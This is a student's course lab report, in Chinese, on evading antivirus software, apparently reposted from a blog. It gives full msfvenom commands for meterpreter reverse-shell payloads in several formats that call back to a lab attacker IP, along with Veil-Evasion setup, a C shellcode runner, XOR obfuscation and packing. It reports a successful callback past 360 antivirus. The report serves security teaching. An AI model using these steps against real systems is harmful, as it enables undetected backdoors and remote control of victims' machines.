20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践
1. 实践内容
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1.1.1 使用msf编码器
输入命令msfvenom -h
可查看相关用法:
编码一次命令如下(用-e参数编码 用-b参数去除坏字符‘\00‘):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.172 LPORT=5101 -f exe > 5101shell.exe
编码十次命令如下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.1.172 LPORT=5101 -f exe > 5101shell-10.exe
1.1.2 msfvenom生成如jar之类的其他文件
用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 > 20165101.jar
生成.jar文件:
扫描结果如下:
用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 > 20165101.php
生成php文件:
扫描结果如下:
用命令msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 > 20165101.apk
生成安卓apk文件:
扫描结果如下:
1.1.3 veil-evasion
关于veil-evasion的安装,我遇到了下列问题:
使用git clone https://github.com/Veil-Framework/Veil.git
命令下载Veil。
使用./config/setup.sh --force --silent
命令安装时遇到了远端挂断的问题。
查看文件,发现git clone命令,由于github不支持断点续传,而且速度极慢,所以我用迅雷先下载好这些文件,然后更改了setup.sh文件,成功解决了该问题。这些依赖文件现已上传到百度云盘:https://pan.baidu.com/s/1n3M_vmKUvsrm-oOFDCm6gg
提取码:tc2m
下载后将文件夹的名字改为setup-dependencies,放置在主目录下。
然后修改setup.sh文件
用use Evasion
命令进入Evil-Evasion:
输入命令use c/meterpreter/rev_tcp.py
进入配置界面
用set LHOST 192.168.1.172
命令设置ip,用set LPORT 5101
命令设置端口号,用options
命令查看配置
再用generate命令生成.exe文件:
如图所示,保存路径为:/var/lib/veil/output/compiled/20165101-veil.exe
分别上传至Virscan和VirusTotal上:
Virscan扫描结果如下:
VirusTotal扫描结果如下:
使用360杀毒看看:
效果不是很理想
但是这与Virscan的扫描结果有出入啊,令人费解。
利用shellcode编程
使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 -f c > 20165101.c
生成一个c语言格式的shellcode数组:
在生成的文件中加入主函数代码int main() { int (*func)() = (int(*)())buf; func(); }
经过Codeblock编译运行后回连成功
1.1.5 加壳
1.1.5.1 压缩壳UPX
Kali下输入命令upx 20165101-veil.exe -o veil-upxed.exe
测试一下看看。
效果依旧一般。
1.1.5.2 加密壳Hyperion
进入目录/usr/share/windows-binaries/hyperion/
中;
输入命令wine hyperion.exe -v 20165101-veil.exe veil-hyperion.exe
进行加壳:
测试一下看看。
效果依旧一般。
1.2 通过组合应用各种技术实现恶意代码免杀
我们对shellcode进行免杀变形
(1)msfvenom生成shellcode。
(2)将shellcode与‘0‘进行异或,生成异或后的shellcode。
(3)将异或后的shellcode放入程序,该程序再将此shellcode异或一次,还原为原来的shellcode,但因为没有了Shellcode的特征码,于是不易被杀软检测到。
(4)用codeblocks编译该程序生成一个exe文件,即为该后门程序。
周五的时候上传测试,只有ZoneAlarm
杀出来了,刚刚检测就有12个能查杀了,这个响应速度也是不错的。
加壳之后变为11/72
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 实验环境
靶机:win10物理机,装有360全家桶最新版,IP地址为192.168.1.111。
控制机:kali-2019,IP地址为192.168.1.172。
将木马程序用U盘拷贝到靶机上,用360杀毒查杀,未发现风险,扫描日志如下:
在全家桶火力全开的情况下,回连成功。
2. 基础问题回答
2.1 杀软是如何检测出恶意代码的?
- 基于特征码的检测
根据恶意代码的各种特殊片段形成一个特征码库,如果一个可执行文件包含特征码库中的数据则被认为是恶意代码。所以杀毒软件的恶意代码的病毒库的更新和全面性十分重要,过时的特征码库就无法检测出新的病毒。
- 启发式检测
根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
- 基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2.2 免杀是做什么?
通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
2.3 免杀的基本方法有哪些?
- 改变特征码
对exe文件加壳:压缩壳 加密壳
对shellcode用encode进行编码
基于payload重新编译生成可执行文件
用其他语言进行重写再编译(veil-evasion)
- 改变行为
(1)通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
(2)操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
- 非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
3. 实践总结与体会
经过本次实验之后,我发现杀毒软件也不是万能的,当你学习了避开杀软的查杀原理并进行别有用心的操作之后,就可能不被杀毒软件发现。
经过这次实验,我对MSF、veil-evasion的使用也更加了解了,不断探索会发现他其实有很多强大的功能。还有很多方法可以成功实现免杀,不禁觉得学无止境,可以尝试学习的空间还很大。
4. 离实战还缺些什么技术或步骤?
我认为距离实战还缺乏Web渗透攻击技术,以及进程隐藏,守护进程等技术。
原文地址:https://www.cnblogs.com/lty12345678911/p/10632295.html